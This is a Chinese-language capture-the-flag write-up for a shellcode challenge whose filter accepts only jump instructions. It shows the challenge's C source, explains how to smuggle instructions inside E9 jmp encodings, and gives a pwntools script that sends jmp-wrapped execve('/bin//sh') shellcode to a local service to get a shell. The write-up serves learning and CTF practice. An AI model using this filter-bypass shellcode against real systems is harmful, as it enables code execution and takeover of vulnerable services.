拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>int upkeep() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);
}int validate(char* ptr, size_t len) {csh handle;cs_insn *insn;int ret = 1;if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {return 0;}size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);size_t success_len = 0;if (count > 0) {for (size_t j = 0; j < count; j++) {ret &= insn[j].mnemonic[0] == 'j';success_len += insn[j].size;}cs_free(insn, count);} else {return 0;}cs_close(&handle);ret &= len == success_len;return ret;
}int main() {upkeep();char code[4096];size_t n = read(0, code, 0x1000);if (n > 0 && validate(code, n)) {((void (*)())code)();}return 0;
}
发现本题的逻辑是只能输入‘j’相关的(jmp)指令,先补一下这里的知识
jmp
思路
简单来说就是可以利用jmp从当前指令跳转并执行下一条指令,将getshell的过程一步步分解执行
在ida里面简单实践一下
我们可以看到从当前指令到下一条指令只需要E9 01 00 00 00即可,所以我们每一条指令前都要加上这段。
接下来就是上网找较短的shellcode改成汇编指令再改成机器码,注意E9后只跟4个字节的指令,若超过4个字节需要替换成同义短于4个字节的指令。
WP
from pwn import *sh = remote('127.0.0.1',42213)
#sh = process("./shellcode5")
context(log_level = 'debug', os = 'linux', arch = 'amd64')shellcode = '''
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xFF\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xF6\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xD2\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xC0\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xDB\x90\xE9\x01\x00\x00\x00
\xE9\x50\x90\x90\x90\xE9\x01\x00\x00\x00
\xE9\xB3\x68\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x73\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x6E\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x69\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x62\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90\xE9\x01\x00\x00\x00
\xE9\x53\x90\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\x89\xE7\x90\xE9\x01\x00\x00\x00
\xE9\xB0\x3B\x90\x90\xE9\x01\x00\x00\x00
\xE9\x0F\x05\x90\x90'''#gdb.attach(sh)
#pause()
shellcode=shellcode.replace('\n',' ')
shellcode=shellcode.replace(' ','')#print(shellcode)sh.send(shellcode)
sh.interactive()
注意要将空格和换行符都删掉
当然也可以写汇编代码()